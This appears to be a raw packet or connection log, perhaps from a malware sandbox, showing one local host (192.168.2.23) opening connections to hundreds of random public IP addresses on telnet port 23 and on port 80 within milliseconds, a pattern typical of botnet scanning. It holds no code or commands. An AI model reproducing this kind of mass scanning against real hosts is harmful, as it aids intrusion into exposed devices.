Dec 28, 2024 20:41:50.021606922 CET	28664	23	192.168.2.23	24.39.110.171
Dec 28, 2024 20:41:50.021608114 CET	28664	23	192.168.2.23	79.221.36.29
Dec 28, 2024 20:41:50.021625996 CET	28664	23	192.168.2.23	128.213.245.123
Dec 28, 2024 20:41:50.021629095 CET	28664	23	192.168.2.23	205.206.66.253
Dec 28, 2024 20:41:50.021636009 CET	28664	23	192.168.2.23	106.68.95.66
Dec 28, 2024 20:41:50.021636963 CET	28664	23	192.168.2.23	161.180.163.210
Dec 28, 2024 20:41:50.021636963 CET	28664	23	192.168.2.23	201.42.107.99
Dec 28, 2024 20:41:50.021645069 CET	28664	23	192.168.2.23	45.241.9.116
Dec 28, 2024 20:41:50.021653891 CET	28664	23	192.168.2.23	53.146.206.239
Dec 28, 2024 20:41:50.021653891 CET	28664	23	192.168.2.23	147.48.5.246
Dec 28, 2024 20:41:50.021673918 CET	28664	23	192.168.2.23	94.175.92.81
Dec 28, 2024 20:41:50.021681070 CET	28664	23	192.168.2.23	221.134.186.191
Dec 28, 2024 20:41:50.021681070 CET	28664	23	192.168.2.23	130.236.13.145
Dec 28, 2024 20:41:50.021683931 CET	28664	23	192.168.2.23	13.238.227.150
Dec 28, 2024 20:41:50.021691084 CET	28664	23	192.168.2.23	113.129.212.200
Dec 28, 2024 20:41:50.021694899 CET	28664	23	192.168.2.23	23.8.140.239
Dec 28, 2024 20:41:50.021708965 CET	28664	23	192.168.2.23	138.0.137.187
Dec 28, 2024 20:41:50.021708965 CET	28664	23	192.168.2.23	13.75.230.249
Dec 28, 2024 20:41:50.021712065 CET	28664	23	192.168.2.23	141.168.195.11
Dec 28, 2024 20:41:50.021723032 CET	28664	23	192.168.2.23	197.158.69.253
Dec 28, 2024 20:41:50.021728992 CET	28664	23	192.168.2.23	40.15.123.140
Dec 28, 2024 20:41:50.021728992 CET	28664	23	192.168.2.23	203.245.254.97
Dec 28, 2024 20:41:50.021728992 CET	28664	23	192.168.2.23	219.112.189.152
Dec 28, 2024 20:41:50.021745920 CET	28664	23	192.168.2.23	195.100.63.57
Dec 28, 2024 20:41:50.021745920 CET	28664	23	192.168.2.23	150.62.254.248
Dec 28, 2024 20:41:50.021763086 CET	28664	23	192.168.2.23	80.144.221.89
Dec 28, 2024 20:41:50.021763086 CET	28664	23	192.168.2.23	50.101.178.110
Dec 28, 2024 20:41:50.021764040 CET	28664	23	192.168.2.23	217.79.241.159
Dec 28, 2024 20:41:50.021765947 CET	28664	23	192.168.2.23	43.89.56.198
Dec 28, 2024 20:41:50.021779060 CET	28664	23	192.168.2.23	48.51.99.75
Dec 28, 2024 20:41:50.021779060 CET	28664	23	192.168.2.23	59.21.166.216
Dec 28, 2024 20:41:50.021790981 CET	28664	23	192.168.2.23	42.115.57.205
Dec 28, 2024 20:41:50.021797895 CET	28664	23	192.168.2.23	216.204.204.54
Dec 28, 2024 20:41:50.021797895 CET	28664	23	192.168.2.23	74.22.57.209
Dec 28, 2024 20:41:50.021811962 CET	28664	23	192.168.2.23	58.231.180.242
Dec 28, 2024 20:41:50.021812916 CET	28664	23	192.168.2.23	81.187.17.88
Dec 28, 2024 20:41:50.021816969 CET	28664	23	192.168.2.23	160.184.169.199
Dec 28, 2024 20:41:50.021820068 CET	28664	23	192.168.2.23	176.211.184.71
Dec 28, 2024 20:41:50.021837950 CET	28664	23	192.168.2.23	119.143.164.34
Dec 28, 2024 20:41:50.021842957 CET	28664	23	192.168.2.23	194.209.18.56
Dec 28, 2024 20:41:50.021845102 CET	28664	23	192.168.2.23	223.93.69.182
Dec 28, 2024 20:41:50.021845102 CET	28664	23	192.168.2.23	54.36.34.128
Dec 28, 2024 20:41:50.021852970 CET	28664	23	192.168.2.23	189.50.52.152
Dec 28, 2024 20:41:50.021855116 CET	28664	23	192.168.2.23	218.122.220.81
Dec 28, 2024 20:41:50.021856070 CET	28664	23	192.168.2.23	197.248.250.62
Dec 28, 2024 20:41:50.021857023 CET	28664	23	192.168.2.23	111.203.41.217
Dec 28, 2024 20:41:50.021862030 CET	28664	23	192.168.2.23	23.233.133.15
Dec 28, 2024 20:41:50.021862984 CET	28664	23	192.168.2.23	134.169.160.6
Dec 28, 2024 20:41:50.021862984 CET	28664	23	192.168.2.23	53.177.72.188
Dec 28, 2024 20:41:50.021866083 CET	28664	23	192.168.2.23	213.247.70.182
Dec 28, 2024 20:41:50.021883011 CET	28664	23	192.168.2.23	122.126.217.136
Dec 28, 2024 20:41:50.021887064 CET	28664	23	192.168.2.23	221.160.83.240
Dec 28, 2024 20:41:50.021892071 CET	28664	23	192.168.2.23	165.45.35.203
Dec 28, 2024 20:41:50.021904945 CET	28664	23	192.168.2.23	76.53.25.180
Dec 28, 2024 20:41:50.021904945 CET	28664	23	192.168.2.23	81.122.223.87
Dec 28, 2024 20:41:50.021908998 CET	28664	23	192.168.2.23	34.87.11.103
Dec 28, 2024 20:41:50.021928072 CET	28664	23	192.168.2.23	24.171.162.109
Dec 28, 2024 20:41:50.021929026 CET	28664	23	192.168.2.23	141.172.213.109
Dec 28, 2024 20:41:50.021929979 CET	28664	23	192.168.2.23	115.181.156.206
Dec 28, 2024 20:41:50.021930933 CET	28664	23	192.168.2.23	99.184.136.28
Dec 28, 2024 20:41:50.021940947 CET	28664	23	192.168.2.23	24.5.25.52
Dec 28, 2024 20:41:50.021943092 CET	28664	23	192.168.2.23	174.68.185.61
Dec 28, 2024 20:41:50.021943092 CET	28664	23	192.168.2.23	140.215.25.246
Dec 28, 2024 20:41:50.021955013 CET	28664	23	192.168.2.23	2.22.52.250
Dec 28, 2024 20:41:50.021955967 CET	28664	23	192.168.2.23	41.220.178.218
Dec 28, 2024 20:41:50.021981001 CET	28664	23	192.168.2.23	198.252.39.95
Dec 28, 2024 20:41:50.021982908 CET	28664	23	192.168.2.23	142.233.253.9
Dec 28, 2024 20:41:50.021996975 CET	28664	23	192.168.2.23	83.11.105.241
Dec 28, 2024 20:41:50.021997929 CET	28664	23	192.168.2.23	5.215.126.187
Dec 28, 2024 20:41:50.022000074 CET	28664	23	192.168.2.23	2.131.19.153
Dec 28, 2024 20:41:50.022006035 CET	28664	23	192.168.2.23	130.53.76.198
Dec 28, 2024 20:41:50.022006989 CET	28664	23	192.168.2.23	141.89.215.62
Dec 28, 2024 20:41:50.022008896 CET	28664	23	192.168.2.23	177.204.200.210
Dec 28, 2024 20:41:50.022017002 CET	28664	23	192.168.2.23	132.146.187.79
Dec 28, 2024 20:41:50.022027969 CET	28664	23	192.168.2.23	209.28.209.214
Dec 28, 2024 20:41:50.022030115 CET	28664	23	192.168.2.23	135.114.39.141
Dec 28, 2024 20:41:50.022032022 CET	28664	23	192.168.2.23	139.102.194.240
Dec 28, 2024 20:41:50.022044897 CET	28664	23	192.168.2.23	19.176.37.119
Dec 28, 2024 20:41:50.022047043 CET	28664	23	192.168.2.23	221.107.193.126
Dec 28, 2024 20:41:50.022053003 CET	28664	23	192.168.2.23	85.223.230.167
Dec 28, 2024 20:41:50.022053003 CET	28664	23	192.168.2.23	193.156.57.64
Dec 28, 2024 20:41:50.022073984 CET	28664	23	192.168.2.23	99.92.189.31
Dec 28, 2024 20:41:50.022078991 CET	28664	23	192.168.2.23	182.253.14.39
Dec 28, 2024 20:41:50.022082090 CET	28664	23	192.168.2.23	185.248.26.203
Dec 28, 2024 20:41:50.022097111 CET	28664	23	192.168.2.23	148.205.155.171
Dec 28, 2024 20:41:50.022097111 CET	28664	23	192.168.2.23	46.195.137.54
Dec 28, 2024 20:41:50.022099972 CET	28664	23	192.168.2.23	116.44.130.53
Dec 28, 2024 20:41:50.022114992 CET	28664	23	192.168.2.23	190.237.145.26
Dec 28, 2024 20:41:50.022118092 CET	28664	23	192.168.2.23	47.227.60.21
Dec 28, 2024 20:41:50.022119999 CET	28664	23	192.168.2.23	222.14.104.184
Dec 28, 2024 20:41:50.022130966 CET	28664	23	192.168.2.23	161.224.115.164
Dec 28, 2024 20:41:50.022138119 CET	28664	23	192.168.2.23	81.0.150.10
Dec 28, 2024 20:41:50.022140980 CET	28664	23	192.168.2.23	137.202.164.174
Dec 28, 2024 20:41:50.022145033 CET	28664	23	192.168.2.23	131.20.250.83
Dec 28, 2024 20:41:50.022145987 CET	28664	23	192.168.2.23	161.119.73.4
Dec 28, 2024 20:41:50.022149086 CET	28664	23	192.168.2.23	77.200.88.100
Dec 28, 2024 20:41:50.022150993 CET	28664	23	192.168.2.23	66.145.36.103
Dec 28, 2024 20:41:50.022159100 CET	28664	23	192.168.2.23	201.11.225.129
Dec 28, 2024 20:41:50.022167921 CET	28664	23	192.168.2.23	115.122.158.2
Dec 28, 2024 20:41:50.022167921 CET	28664	23	192.168.2.23	72.102.84.91
Dec 28, 2024 20:41:50.022180080 CET	28664	23	192.168.2.23	130.224.172.113
Dec 28, 2024 20:41:50.022185087 CET	28664	23	192.168.2.23	70.46.146.79
Dec 28, 2024 20:41:50.022188902 CET	28664	23	192.168.2.23	175.73.198.91
Dec 28, 2024 20:41:50.022188902 CET	28664	23	192.168.2.23	141.87.230.81
Dec 28, 2024 20:41:50.022197008 CET	28664	23	192.168.2.23	79.207.50.181
Dec 28, 2024 20:41:50.022197008 CET	28664	23	192.168.2.23	81.114.88.156
Dec 28, 2024 20:41:50.022228003 CET	28664	23	192.168.2.23	146.160.166.52
Dec 28, 2024 20:41:50.022228956 CET	28664	23	192.168.2.23	132.21.18.171
Dec 28, 2024 20:41:50.022231102 CET	28664	23	192.168.2.23	14.207.87.194
Dec 28, 2024 20:41:50.022232056 CET	28664	23	192.168.2.23	43.18.206.224
Dec 28, 2024 20:41:50.022231102 CET	28664	23	192.168.2.23	85.189.151.68
Dec 28, 2024 20:41:50.022232056 CET	28664	23	192.168.2.23	178.115.127.42
Dec 28, 2024 20:41:50.022232056 CET	28664	23	192.168.2.23	119.253.180.224
Dec 28, 2024 20:41:50.022233963 CET	28664	23	192.168.2.23	5.109.141.72
Dec 28, 2024 20:41:50.022243977 CET	28664	23	192.168.2.23	95.132.174.158
Dec 28, 2024 20:41:50.022244930 CET	28664	23	192.168.2.23	130.6.123.184
Dec 28, 2024 20:41:50.022244930 CET	28664	23	192.168.2.23	182.33.232.168
Dec 28, 2024 20:41:50.022244930 CET	28664	23	192.168.2.23	222.156.183.164
Dec 28, 2024 20:41:50.022245884 CET	28664	23	192.168.2.23	109.130.186.136
Dec 28, 2024 20:41:50.022248030 CET	28664	23	192.168.2.23	160.119.76.60
Dec 28, 2024 20:41:50.022248030 CET	28664	23	192.168.2.23	48.22.201.29
Dec 28, 2024 20:41:50.022248983 CET	28664	23	192.168.2.23	82.37.196.169
Dec 28, 2024 20:41:50.022248030 CET	28664	23	192.168.2.23	44.253.208.46
Dec 28, 2024 20:41:50.022253990 CET	28664	23	192.168.2.23	216.179.129.36
Dec 28, 2024 20:41:50.022254944 CET	28664	23	192.168.2.23	160.44.76.33
Dec 28, 2024 20:41:50.022254944 CET	28664	23	192.168.2.23	48.62.151.163
Dec 28, 2024 20:41:50.022269011 CET	28664	23	192.168.2.23	189.181.135.30
Dec 28, 2024 20:41:50.022269964 CET	28664	23	192.168.2.23	133.2.146.72
Dec 28, 2024 20:41:50.022270918 CET	28664	23	192.168.2.23	69.59.47.8
Dec 28, 2024 20:41:50.022273064 CET	28664	23	192.168.2.23	19.206.230.89
Dec 28, 2024 20:41:50.022278070 CET	28664	23	192.168.2.23	53.6.185.233
Dec 28, 2024 20:41:50.022289991 CET	28664	23	192.168.2.23	78.98.62.132
Dec 28, 2024 20:41:50.022299051 CET	28664	23	192.168.2.23	18.36.149.47
Dec 28, 2024 20:41:50.022300005 CET	28664	23	192.168.2.23	77.143.129.71
Dec 28, 2024 20:41:50.022301912 CET	28664	23	192.168.2.23	158.147.28.2
Dec 28, 2024 20:41:50.022301912 CET	28664	23	192.168.2.23	141.9.252.191
Dec 28, 2024 20:41:50.022301912 CET	28664	23	192.168.2.23	187.17.190.18
Dec 28, 2024 20:41:50.022301912 CET	28664	23	192.168.2.23	201.12.31.244
Dec 28, 2024 20:41:50.022306919 CET	28664	23	192.168.2.23	220.218.231.106
Dec 28, 2024 20:41:50.022306919 CET	28664	23	192.168.2.23	203.93.250.78
Dec 28, 2024 20:41:50.022308111 CET	28664	23	192.168.2.23	24.46.48.161
Dec 28, 2024 20:41:50.022325993 CET	28664	23	192.168.2.23	63.84.196.100
Dec 28, 2024 20:41:50.022327900 CET	28664	23	192.168.2.23	220.238.162.153
Dec 28, 2024 20:41:50.022334099 CET	28664	23	192.168.2.23	193.235.246.60
Dec 28, 2024 20:41:50.022335052 CET	28664	23	192.168.2.23	179.171.41.224
Dec 28, 2024 20:41:50.022345066 CET	28664	23	192.168.2.23	153.42.100.184
Dec 28, 2024 20:41:50.022353888 CET	28664	23	192.168.2.23	41.123.175.232
Dec 28, 2024 20:41:50.022353888 CET	28664	23	192.168.2.23	40.92.201.22
Dec 28, 2024 20:41:50.022357941 CET	28664	23	192.168.2.23	133.35.204.193
Dec 28, 2024 20:41:50.022363901 CET	28664	23	192.168.2.23	174.100.45.216
Dec 28, 2024 20:41:50.022382021 CET	28664	23	192.168.2.23	42.19.75.157
Dec 28, 2024 20:41:50.022383928 CET	28664	23	192.168.2.23	139.151.231.96
Dec 28, 2024 20:41:50.022391081 CET	28664	23	192.168.2.23	89.203.100.52
Dec 28, 2024 20:41:50.022394896 CET	28664	23	192.168.2.23	66.142.80.70
Dec 28, 2024 20:41:50.022394896 CET	28664	23	192.168.2.23	159.124.53.59
Dec 28, 2024 20:41:50.022394896 CET	28664	23	192.168.2.23	49.45.216.165
Dec 28, 2024 20:41:50.022397995 CET	28664	23	192.168.2.23	93.39.51.243
Dec 28, 2024 20:41:50.022398949 CET	28664	23	192.168.2.23	25.10.208.84
Dec 28, 2024 20:41:50.022398949 CET	28664	23	192.168.2.23	154.151.215.245
Dec 28, 2024 20:41:50.022399902 CET	28664	23	192.168.2.23	117.183.147.18
Dec 28, 2024 20:41:50.022403002 CET	28664	23	192.168.2.23	131.63.118.202
Dec 28, 2024 20:41:50.022408009 CET	28664	23	192.168.2.23	191.154.78.249
Dec 28, 2024 20:41:50.022422075 CET	28664	23	192.168.2.23	142.174.20.235
Dec 28, 2024 20:41:50.022424936 CET	28664	23	192.168.2.23	179.3.156.140
Dec 28, 2024 20:41:50.022424936 CET	28664	23	192.168.2.23	166.6.17.162
Dec 28, 2024 20:41:50.022424936 CET	28664	23	192.168.2.23	130.178.113.240
Dec 28, 2024 20:41:50.022442102 CET	28664	23	192.168.2.23	130.186.95.215
Dec 28, 2024 20:41:50.022442102 CET	28664	23	192.168.2.23	126.91.239.148
Dec 28, 2024 20:41:50.022443056 CET	28664	23	192.168.2.23	70.102.67.99
Dec 28, 2024 20:41:50.022444010 CET	28664	23	192.168.2.23	108.44.150.55
Dec 28, 2024 20:41:50.022444963 CET	28664	23	192.168.2.23	99.22.193.13
Dec 28, 2024 20:41:50.022443056 CET	28664	23	192.168.2.23	52.93.56.165
Dec 28, 2024 20:41:50.022461891 CET	28664	23	192.168.2.23	145.149.250.225
Dec 28, 2024 20:41:50.022469044 CET	28664	23	192.168.2.23	19.16.179.7
Dec 28, 2024 20:41:50.022474051 CET	28664	23	192.168.2.23	223.15.241.61
Dec 28, 2024 20:41:50.022474051 CET	28664	23	192.168.2.23	96.68.251.56
Dec 28, 2024 20:41:50.022475958 CET	28664	23	192.168.2.23	167.226.98.219
Dec 28, 2024 20:41:50.022475958 CET	28664	23	192.168.2.23	117.65.205.187
Dec 28, 2024 20:41:50.022484064 CET	28664	23	192.168.2.23	137.206.221.221
Dec 28, 2024 20:41:50.022500992 CET	28664	23	192.168.2.23	53.74.107.204
Dec 28, 2024 20:41:50.022500992 CET	28664	23	192.168.2.23	78.40.167.146
Dec 28, 2024 20:41:50.022501945 CET	28664	23	192.168.2.23	31.245.185.250
Dec 28, 2024 20:41:50.022501945 CET	28664	23	192.168.2.23	211.194.190.43
Dec 28, 2024 20:41:50.022512913 CET	28664	23	192.168.2.23	13.53.100.149
Dec 28, 2024 20:41:50.022516012 CET	28664	23	192.168.2.23	114.19.55.75
Dec 28, 2024 20:41:50.022526026 CET	28664	23	192.168.2.23	74.222.81.216
Dec 28, 2024 20:41:50.022528887 CET	28664	23	192.168.2.23	165.17.151.252
Dec 28, 2024 20:41:50.022530079 CET	28664	23	192.168.2.23	201.196.112.237
Dec 28, 2024 20:41:50.022547960 CET	28664	23	192.168.2.23	139.17.162.6
Dec 28, 2024 20:41:50.022552013 CET	28664	23	192.168.2.23	167.140.147.237
Dec 28, 2024 20:41:50.022557020 CET	28664	23	192.168.2.23	103.26.52.78
Dec 28, 2024 20:41:50.022572041 CET	28664	23	192.168.2.23	20.53.70.67
Dec 28, 2024 20:41:50.022572994 CET	28664	23	192.168.2.23	221.5.10.155
Dec 28, 2024 20:41:50.022572994 CET	28664	23	192.168.2.23	20.246.126.57
Dec 28, 2024 20:41:50.022573948 CET	28664	23	192.168.2.23	39.9.101.135
Dec 28, 2024 20:41:50.022573948 CET	28664	23	192.168.2.23	114.53.253.82
Dec 28, 2024 20:41:50.022579908 CET	28664	23	192.168.2.23	111.149.36.240
Dec 28, 2024 20:41:50.022579908 CET	28664	23	192.168.2.23	142.248.221.81
Dec 28, 2024 20:41:50.022600889 CET	28664	23	192.168.2.23	201.255.232.175
Dec 28, 2024 20:41:50.022600889 CET	28664	23	192.168.2.23	162.232.158.116
Dec 28, 2024 20:41:50.022600889 CET	28664	23	192.168.2.23	134.18.220.86
Dec 28, 2024 20:41:50.022603989 CET	28664	23	192.168.2.23	150.249.130.235
Dec 28, 2024 20:41:50.022612095 CET	28664	23	192.168.2.23	58.9.180.20
Dec 28, 2024 20:41:50.022612095 CET	28664	23	192.168.2.23	99.13.165.123
Dec 28, 2024 20:41:50.022613049 CET	28664	23	192.168.2.23	131.161.246.246
Dec 28, 2024 20:41:50.022614956 CET	28664	23	192.168.2.23	165.74.136.157
Dec 28, 2024 20:41:50.022628069 CET	28664	23	192.168.2.23	144.215.128.241
Dec 28, 2024 20:41:50.022628069 CET	28664	23	192.168.2.23	216.173.147.73
Dec 28, 2024 20:41:50.022630930 CET	28664	23	192.168.2.23	61.123.69.180
Dec 28, 2024 20:41:50.022634983 CET	28664	23	192.168.2.23	202.77.96.251
Dec 28, 2024 20:41:50.022645950 CET	28664	23	192.168.2.23	51.28.91.81
Dec 28, 2024 20:41:50.022650957 CET	28664	23	192.168.2.23	186.243.209.150
Dec 28, 2024 20:41:50.022654057 CET	28664	23	192.168.2.23	37.69.70.92
Dec 28, 2024 20:41:50.022656918 CET	28664	23	192.168.2.23	171.221.167.121
Dec 28, 2024 20:41:50.022672892 CET	28664	23	192.168.2.23	188.244.133.5
Dec 28, 2024 20:41:50.022674084 CET	28664	23	192.168.2.23	168.202.231.105
Dec 28, 2024 20:41:50.022674084 CET	28664	23	192.168.2.23	129.210.58.240
Dec 28, 2024 20:41:50.022676945 CET	28664	23	192.168.2.23	179.47.74.139
Dec 28, 2024 20:41:50.022676945 CET	28664	23	192.168.2.23	168.69.143.167
Dec 28, 2024 20:41:50.022681952 CET	28664	23	192.168.2.23	138.76.144.142
Dec 28, 2024 20:41:50.022682905 CET	28664	23	192.168.2.23	24.156.24.186
Dec 28, 2024 20:41:50.022699118 CET	28664	23	192.168.2.23	96.33.177.123
Dec 28, 2024 20:41:50.022700071 CET	28664	23	192.168.2.23	144.45.224.128
Dec 28, 2024 20:41:50.022706985 CET	28664	23	192.168.2.23	177.205.121.139
Dec 28, 2024 20:41:50.022712946 CET	28664	23	192.168.2.23	161.169.114.121
Dec 28, 2024 20:41:50.022726059 CET	28664	23	192.168.2.23	161.20.193.39
Dec 28, 2024 20:41:50.022728920 CET	28664	23	192.168.2.23	197.86.146.4
Dec 28, 2024 20:41:50.022733927 CET	28664	23	192.168.2.23	142.13.230.116
Dec 28, 2024 20:41:50.022747040 CET	28664	23	192.168.2.23	77.22.184.73
Dec 28, 2024 20:41:50.022747993 CET	28664	23	192.168.2.23	99.45.58.239
Dec 28, 2024 20:41:50.022747993 CET	28664	23	192.168.2.23	140.10.162.77
Dec 28, 2024 20:41:50.022747993 CET	28664	23	192.168.2.23	150.127.237.126
Dec 28, 2024 20:41:50.022752047 CET	28664	23	192.168.2.23	177.80.150.59
Dec 28, 2024 20:41:50.022761106 CET	28664	23	192.168.2.23	178.172.250.168
Dec 28, 2024 20:41:50.022761106 CET	28664	23	192.168.2.23	162.130.222.185
Dec 28, 2024 20:41:50.022766113 CET	28664	23	192.168.2.23	207.163.156.234
Dec 28, 2024 20:41:50.022767067 CET	28664	23	192.168.2.23	145.3.180.37
Dec 28, 2024 20:41:50.022770882 CET	28664	23	192.168.2.23	220.242.56.87
Dec 28, 2024 20:41:50.022774935 CET	28664	23	192.168.2.23	168.235.2.58
Dec 28, 2024 20:41:50.022787094 CET	28664	23	192.168.2.23	188.118.235.244
Dec 28, 2024 20:41:50.022794008 CET	28664	23	192.168.2.23	52.31.253.57
Dec 28, 2024 20:41:50.022794008 CET	28664	23	192.168.2.23	53.240.199.50
Dec 28, 2024 20:41:50.022804022 CET	28664	23	192.168.2.23	87.94.216.34
Dec 28, 2024 20:41:50.022813082 CET	28664	23	192.168.2.23	204.11.238.223
Dec 28, 2024 20:41:50.022818089 CET	28664	23	192.168.2.23	90.23.104.163
Dec 28, 2024 20:41:50.022819042 CET	28664	23	192.168.2.23	149.165.60.163
Dec 28, 2024 20:41:50.022847891 CET	28664	23	192.168.2.23	93.65.172.90
Dec 28, 2024 20:41:50.022850990 CET	28664	23	192.168.2.23	181.131.145.87
Dec 28, 2024 20:41:50.022855997 CET	28664	23	192.168.2.23	82.123.12.66
Dec 28, 2024 20:41:50.022870064 CET	28664	23	192.168.2.23	76.202.81.180
Dec 28, 2024 20:41:50.022881985 CET	28664	23	192.168.2.23	162.126.191.130
Dec 28, 2024 20:41:50.022881985 CET	28664	23	192.168.2.23	24.240.30.117
Dec 28, 2024 20:41:50.022885084 CET	28664	23	192.168.2.23	172.132.89.32
Dec 28, 2024 20:41:50.022885084 CET	28664	23	192.168.2.23	172.4.14.77
Dec 28, 2024 20:41:50.022906065 CET	28664	23	192.168.2.23	1.90.224.78
Dec 28, 2024 20:41:50.022907019 CET	28664	23	192.168.2.23	60.35.78.3
Dec 28, 2024 20:41:50.022907019 CET	28664	23	192.168.2.23	123.108.150.154
Dec 28, 2024 20:41:50.022907972 CET	28664	23	192.168.2.23	137.169.43.43
Dec 28, 2024 20:41:50.022907972 CET	28664	23	192.168.2.23	216.221.19.196
Dec 28, 2024 20:41:50.022923946 CET	28664	23	192.168.2.23	135.125.4.107
Dec 28, 2024 20:41:50.022927999 CET	28664	23	192.168.2.23	102.41.110.145
Dec 28, 2024 20:41:50.022929907 CET	28664	23	192.168.2.23	120.35.58.63
Dec 28, 2024 20:41:50.022934914 CET	28664	23	192.168.2.23	109.199.171.114
Dec 28, 2024 20:41:50.022937059 CET	28664	23	192.168.2.23	53.29.155.187
Dec 28, 2024 20:41:50.022943974 CET	28664	23	192.168.2.23	179.42.179.233
Dec 28, 2024 20:41:50.022947073 CET	28664	23	192.168.2.23	163.250.173.121
Dec 28, 2024 20:41:50.022958040 CET	28664	23	192.168.2.23	144.19.105.36
Dec 28, 2024 20:41:50.022964954 CET	28664	23	192.168.2.23	137.209.35.201
Dec 28, 2024 20:41:50.022969007 CET	28664	23	192.168.2.23	210.202.207.171
Dec 28, 2024 20:41:50.022973061 CET	28664	23	192.168.2.23	184.188.130.105
Dec 28, 2024 20:41:50.022977114 CET	28664	23	192.168.2.23	172.199.48.164
Dec 28, 2024 20:41:50.022985935 CET	28664	23	192.168.2.23	200.7.211.107
Dec 28, 2024 20:41:50.022991896 CET	28664	23	192.168.2.23	208.125.22.207
Dec 28, 2024 20:41:50.022994041 CET	28664	23	192.168.2.23	197.111.239.4
Dec 28, 2024 20:41:50.023003101 CET	28664	23	192.168.2.23	179.238.62.212
Dec 28, 2024 20:41:50.023003101 CET	28664	23	192.168.2.23	212.96.133.210
Dec 28, 2024 20:41:50.023020029 CET	28664	23	192.168.2.23	76.248.34.135
Dec 28, 2024 20:41:50.023027897 CET	28664	23	192.168.2.23	186.98.107.229
Dec 28, 2024 20:41:50.023029089 CET	28664	23	192.168.2.23	200.170.220.142
Dec 28, 2024 20:41:50.023034096 CET	28664	23	192.168.2.23	185.221.92.206
Dec 28, 2024 20:41:50.023047924 CET	28664	23	192.168.2.23	122.65.82.174
Dec 28, 2024 20:41:50.030514002 CET	28662	80	192.168.2.23	223.249.41.179
Dec 28, 2024 20:41:50.030575037 CET	28662	80	192.168.2.23	144.136.45.25
Dec 28, 2024 20:41:50.030577898 CET	28662	80	192.168.2.23	50.59.204.179
Dec 28, 2024 20:41:50.030600071 CET	28662	80	192.168.2.23	118.53.133.157
Dec 28, 2024 20:41:50.030601025 CET	28662	80	192.168.2.23	70.189.53.114
Dec 28, 2024 20:41:50.030617952 CET	28662	80	192.168.2.23	183.101.91.228
Dec 28, 2024 20:41:50.030622005 CET	28662	80	192.168.2.23	54.53.79.96
Dec 28, 2024 20:41:50.030630112 CET	28662	80	192.168.2.23	136.3.17.174
Dec 28, 2024 20:41:50.030638933 CET	28662	80	192.168.2.23	5.54.79.220
Dec 28, 2024 20:41:50.030639887 CET	28662	80	192.168.2.23	45.127.212.76
Dec 28, 2024 20:41:50.030646086 CET	28662	80	192.168.2.23	139.44.8.181
Dec 28, 2024 20:41:50.030648947 CET	28662	80	192.168.2.23	166.101.229.38
Dec 28, 2024 20:41:50.030658007 CET	28662	80	192.168.2.23	90.41.189.216
Dec 28, 2024 20:41:50.030669928 CET	28662	80	192.168.2.23	9.248.233.124
Dec 28, 2024 20:41:50.030689001 CET	28662	80	192.168.2.23	79.17.167.116
Dec 28, 2024 20:41:50.030692101 CET	28662	80	192.168.2.23	53.234.42.84
Dec 28, 2024 20:41:50.030703068 CET	28662	80	192.168.2.23	88.162.98.245
Dec 28, 2024 20:41:50.030704021 CET	28662	80	192.168.2.23	145.43.198.169
Dec 28, 2024 20:41:50.030704021 CET	28662	80	192.168.2.23	118.218.201.13
Dec 28, 2024 20:41:50.030706882 CET	28662	80	192.168.2.23	150.228.9.163
Dec 28, 2024 20:41:50.030709028 CET	28662	80	192.168.2.23	18.68.244.165
Dec 28, 2024 20:41:50.030719042 CET	28662	80	192.168.2.23	188.167.238.213
Dec 28, 2024 20:41:50.030728102 CET	28662	80	192.168.2.23	59.196.180.98
Dec 28, 2024 20:41:50.030730009 CET	28662	80	192.168.2.23	14.128.207.225
Dec 28, 2024 20:41:50.030731916 CET	28662	80	192.168.2.23	174.187.17.130
Dec 28, 2024 20:41:50.030754089 CET	28662	80	192.168.2.23	151.122.240.195
Dec 28, 2024 20:41:50.030771017 CET	28662	80	192.168.2.23	181.227.151.229
Dec 28, 2024 20:41:50.030771017 CET	28662	80	192.168.2.23	117.120.48.9
Dec 28, 2024 20:41:50.030771017 CET	28662	80	192.168.2.23	200.55.231.242
Dec 28, 2024 20:41:50.030771017 CET	28662	80	192.168.2.23	93.88.238.139
Dec 28, 2024 20:41:50.030777931 CET	28662	80	192.168.2.23	42.189.74.111
Dec 28, 2024 20:41:50.030785084 CET	28662	80	192.168.2.23	124.125.216.30
Dec 28, 2024 20:41:50.030791998 CET	28662	80	192.168.2.23	179.12.65.17
Dec 28, 2024 20:41:50.030800104 CET	28662	80	192.168.2.23	43.171.32.225
Dec 28, 2024 20:41:50.030805111 CET	28662	80	192.168.2.23	112.255.221.73
Dec 28, 2024 20:41:50.030807972 CET	28662	80	192.168.2.23	146.207.92.117
Dec 28, 2024 20:41:50.030819893 CET	28662	80	192.168.2.23	152.75.68.129
Dec 28, 2024 20:41:50.030819893 CET	28662	80	192.168.2.23	156.154.22.137
Dec 28, 2024 20:41:50.030822992 CET	28662	80	192.168.2.23	82.40.193.68
Dec 28, 2024 20:41:50.030826092 CET	28662	80	192.168.2.23	96.16.221.45
Dec 28, 2024 20:41:50.030827045 CET	28662	80	192.168.2.23	156.104.203.159
Dec 28, 2024 20:41:50.030847073 CET	28662	80	192.168.2.23	129.253.175.168
Dec 28, 2024 20:41:50.030878067 CET	28662	80	192.168.2.23	138.36.76.82
Dec 28, 2024 20:41:50.030878067 CET	28662	80	192.168.2.23	65.190.233.188
Dec 28, 2024 20:41:50.030879021 CET	28662	80	192.168.2.23	18.236.251.94
Dec 28, 2024 20:41:50.030879021 CET	28662	80	192.168.2.23	97.202.57.206
Dec 28, 2024 20:41:50.030894995 CET	28662	80	192.168.2.23	191.100.209.234
Dec 28, 2024 20:41:50.030910015 CET	28662	80	192.168.2.23	188.25.9.1
Dec 28, 2024 20:41:50.030914068 CET	28662	80	192.168.2.23	221.207.153.84
Dec 28, 2024 20:41:50.030914068 CET	28662	80	192.168.2.23	118.76.72.240
Dec 28, 2024 20:41:50.030914068 CET	28662	80	192.168.2.23	128.217.99.58
Dec 28, 2024 20:41:50.030925989 CET	28662	80	192.168.2.23	115.215.157.26
Dec 28, 2024 20:41:50.030929089 CET	28662	80	192.168.2.23	146.27.51.110
Dec 28, 2024 20:41:50.030934095 CET	28662	80	192.168.2.23	142.21.194.18
Dec 28, 2024 20:41:50.030936956 CET	28662	80	192.168.2.23	173.120.206.109
Dec 28, 2024 20:41:50.030941963 CET	28662	80	192.168.2.23	120.140.212.10
Dec 28, 2024 20:41:50.030951977 CET	28662	80	192.168.2.23	5.69.75.55
Dec 28, 2024 20:41:50.030953884 CET	28662	80	192.168.2.23	155.141.18.85
Dec 28, 2024 20:41:50.030967951 CET	28662	80	192.168.2.23	200.217.69.227
